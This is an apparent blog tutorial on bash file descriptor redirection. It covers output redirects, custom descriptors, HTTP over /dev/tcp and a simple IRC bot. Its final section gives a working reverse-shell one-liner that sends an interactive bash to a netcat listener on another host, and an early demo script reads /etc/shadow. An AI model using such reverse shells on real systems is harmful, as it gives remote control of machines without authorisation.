Fun with redirecting file descriptors

Generally, a file descriptor is an index for an entry in a kernel-resident data structure containing the details of all open files. In Linux you manipulate files based on their descriptors.
The File descriptor is an integer that correspondents to the opened data stream. When a program starts, three descriptors are opened for I/O:

0 - input
1 - output
2 - error output

To demonstrate how these works let's create the following simple script:

[user@server1~]$ cat test.sh
#!/bin/bash
echo TEST
cat /etc/shadow
view raw gistfile1.sh hosted with ❤ by GitHub

And let's run it as a regular use:

[user@server1~]$ ./test.sh
TEST
cat: /etc/shadow: Permission denied
view raw gistfile1.sh hosted with ❤ by GitHub

As you can see we got the string "TEST" as well as an error message. All error messages in Linux are associated with the error file descriptor with an id of 2 and all non-error output with the id of 1. We can use simple redirects to change the output.

Let's redirect the standard out, which in the previous example printed the TEST string to /dev/null:

1b80c1dd55c520e6ea0b

Since we redirected the standard out to /dev/null only the error is printed. If we don't want to see the error we can redirect it to /dev/null instead:

[user@server1~]$ ./test.sh 2>/dev/null
TEST
view raw gistfile1.sh hosted with ❤ by GitHub

Or if we don't want any output at all we can do this in the following ways:

[user@server1~]$ ./test.sh 1>/dev/null 2>/dev/null
[user@server1~]$ ./test.sh &>/dev/null
[user@server1~]$ ./test.sh >/dev/null 2>&1
view raw gistfile1.sh hosted with ❤ by GitHub

In the first example we redirect both standard out and error explicitly. In the second example &> accomplishes the same result, saving us some typing. And in the third example we redirect standard out first to /dev/null and then redirect error to standard output, which already points to /dev/null.

Now that we know how redirects work, lets create a stream to a file:

[user@server1~]$ exec 3<>testfile
[user@server1~]$ echo "TEST" 1>&3
[user@server1~]$ exec 3<&-
view raw gistfile1.sh hosted with ❤ by GitHub

Line 1 creates a new file descriptor with id of 3 in the current shell (hence the exec) and redirects all input and output to the file testfile. Line 2 echoes TEST and redirects the standard out (id 1) to descriptor 3, which already points to the testfile. Line 3 closes the file descriptor.

If we cat the testfile we should see the TEST string:

[user@server1~]$ cat testfile
TEST
view raw gistfile1.sh hosted with ❤ by GitHub

We can redirect the new file descriptor (id 3) to standard input (id 0) and be able to read the content of the testfile that way:

[user@server1~]$ exec 3<>testfile
[user@server1~]$ read 0<&3
[user@server1~]$ echo $REPLY
TEST
[user@server1~]$ exec 3<&-
view raw gistfile1.sh hosted with ❤ by GitHub

By using redirects in this way we can actually use the two "special files" that the kernel provides:

/dev/tcp/host/port - If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open a TCP connection to the corresponding socket.

/dev/udp/host/port - If host is a valid hostname or Internet address, and port is an integer port number or service name, bash attempts to open a UDP connection to the corresponding socket.

We can connect to a web server using it's IP address and port, and send a HTTP get request and then read the result by doing:

[user@server1~]$ exec 3<>/dev/tcp/74.125.225.65/80
[user@server1~]$ echo "GET /index.html HTTP/1.0" 1>&3
[user@server1~]$ echo 1>&3
[user@server1~]$ while read 0<&3; do echo $REPLY; done
HTTP/1.0 200 OK
Set-Cookie: NID=60=ZrRTtnYFa_Iit1ZoHtYjCYZecddEeSF8q5hyYJAcryFTy-MEStcqEvrRMhB5yuFGK6D7QXEqNoIRobi6e-0WotPoLrwIe_TMk_xeYOT7Iz3SKxAhP-M-tppYXFojPdPZ; expires=Tue, 18-Dec-2012 18:10:24 GMT; path=/; domain=.google.com; HttpOnly
Date: Mon, 18 Jun 2012 18:10:24 GMT
Expires: -1
Cache-Control: private, max-age=0
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: PREF=ID=79667b1ad7f585e4:FF=0:TM=1340043024:LM=1340043024:S=cYui_LvplKvceBmv; expires=Wed, 18-Jun-2014 18:10:24 GMT; path=/; domain=.google.com
Set-Cookie: NID=60=I1tj72lu6RnMXc8Rs2xuoJPu4c09a3cAt-9KyptvBByHhz23VVG6d0vYB_9J-Y2yjCvTA82OPNpX4GOH7rCgYYhwQNGyTrmovtXaMY_3nW8Rwha0gwU285kZFhVRBxft; expires=Tue, 18-Dec-2012 18:10:24 GMT; path=/; domain=.google.com; HttpOnly
P3P: CP="This is not a P3P policy! See http://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Server: gws
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
<!doctype html>
...
[user@server1~]$ exec 3<&-
view raw gistfile1.sh hosted with ❤ by GitHub

This will fetch index.html from google.com.

Here's an example of a simple bash IRC bot, that joins a channel and responds to few commands using streams and redirects:

#!/bin/bash
chan="#somechannel"
mode="+i"
nick="SimpleBashBot"
name="Simple Information Bot"
host="$1"
port="$2"
help()
{
echo "PRIVMSG $REPLYTO :=========================================="
echo "PRIVMSG $REPLYTO :Available bot commands:"
echo "PRIVMSG $REPLYTO :=========================================="
echo "PRIVMSG $REPLYTO :!help: This List"
echo "PRIVMSG $REPLYTO :!command1: Command 1"
echo "PRIVMSG $REPLYTO :!command2: Command 2"
echo "PRIVMSG $REPLYTO :=========================================="
}
command1()
{
echo "PRIVMSG $REPLYTO :Command1 Invoked"
}
command2()
{
echo "PRIVMSG $REPLYTO :Command2 Invoked"
}
exec 3<> irc-errors 2>&3-
if [ ! "$2" ]; then
echo "usage: `basename $0` [hostname] [port]"
exit 1
fi
echo -n "Connecting to $host on port $port ... "
if ! exec 3<> /dev/tcp/$host/$port; then
echo "`basename $0`: unable to connect to $host:$port"
exit 1
fi
echo "Done"
exec 0<&3 1>&3-
echo "USER $nick ${mode:-+iw} $nick :$name"
echo "NICK $nick"
sleep 5
echo "JOIN $chan"
while read; do
# The received private or channel message format is:
# $1 $2 $3 $4
# :Konstantin!Konstantin@6cm.6df.5t95an.IP PRIVMSG testBot :!help
# :Konstantin!Konstantin@6cm.6df.5t95an.IP PRIVMSG #botschool :!help
set -- ${REPLY//$'\r'/}
[ "$1" == "PING" ] && echo "PONG $2"
echo "$REPLY" >> /tmp/irc.log
REQUEST=$4
# Reply either in channel or in private
if [ "$3" == "$nick" ]
then
REPLYTO=$(echo $1 | cut -d':' -f2 | cut -d'!' -f1)
else
REPLYTO=$chan
fi
case $REQUEST in
":!help")
help
;;
":!command1")
command1
;;
":!command2")
command2
;;
esac
done
exec 1<&- 2<&-
view raw gistfile1.sh hosted with ❤ by GitHub

Yet another example of using redirects is the following scenario: Let's say you have a server behind a NAT that you want to access from the Internet. There are many ways of doing this involving, port forwarding, or ssh tunnels, but I'll demonstrate exporting /bin/bash and using the /dev/tcp file system I've mentioned earlier.

1. On a server that is publicly accessible start netcat in listening mode on a port:

[user@server1~]$ nc -l 6565 -n -vv
view raw gistfile1.sh hosted with ❤ by GitHub

2. On the server behind the NAT export bash to the netcat server:

[user@server2~]$ /bin/bash -i > /dev/tcp/123.123.123.123/6565 0<&1 2>&1
view raw gistfile1.sh hosted with ❤ by GitHub

On your server running nc you'll now have a bash prompt waiting for you to use (notice the change of the hostname in the prompt).
[user@server1~]$ nc -l 6565 -n -vv
Connection from 222.222.222.222 port 6565 [tcp/*] accepted
[user@server2~]
view raw gistfile1.sh hosted with ❤ by GitHub